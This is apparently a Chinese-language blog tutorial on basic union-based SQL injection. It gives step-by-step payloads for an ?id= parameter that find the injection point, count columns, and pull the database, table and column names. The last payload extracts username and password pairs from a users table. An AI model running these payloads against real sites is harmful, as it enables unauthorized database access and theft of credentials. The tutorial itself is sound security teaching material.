442 字
2 分钟

SQL注入基础

判断注入点#

在其可能注入到sql语句中的参数进行添加一个'

示例:?id=1,即存在可能进行数据库查询id为1的数据

当id值为1'时,sql语句存在语法错误,数据库会报错导致后端异常响应

判断其存在注入点后,进行类型判断

注入类型判断#

利用sql语法特性判断是字符型还是数字型

示例:?id=1,如果?id=1/0如果为数字型即是除零异常,如果为字符型即正常显示。

通过类型判断决定后续的sql拼接

判断列数#

通过order by 关键字对指定列数进行排序,当指定列数x存在,并且x+1不存在时(x+1不存在时会出现索引错误,即数据库error),可以确定当前表内有x列。

示例:?id=1,即?id=1 order by 11 --

检查会出现在页面上的数据索引#

通过控制数据输出检查哪些索引会出现在页面上或返回数据包中

示例:?id=1/0 union select 1,2,3,4,5...,数据个数与上述检查的列数一致

",".join(list([str(i) for i in range(0,11+1)]))
# 打开python交互终端输入这行可以出现:1,2,3,4,5,6,7,8,9,10,11

进行数据查询并且将数据传递到页面上#

例如,当出现在页面上的数据索引为3时

查询数据库名#

?id=1/0 union select 1,2,database(),4,5,6...

通过database()函数获取数据库名字并放在会出现在页面上的位置进行显示

查询数据表#

?id=1/0 union select 1,2,group_concat(table_name),4,5,6... from information_schema.tables where table_schema=database()

查询字段#

?id=1/0 union select 1,2,group_concat(column_name),4,5,6... from information_schema.columns where table_name="目标表"

查询数据#

查询cms数据库内的users表的username字段和password字段

?id=1/0 union select 1,2,group_concat(username,"-",password),4,5,6... from cms.users

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

SQL注入基础
https://firefly.cuteleaf.cn/posts/sql/sql注入/
作者
Lireal
发布于
2026-01-20
许可协议
CC BY-NC-SA 4.0

目录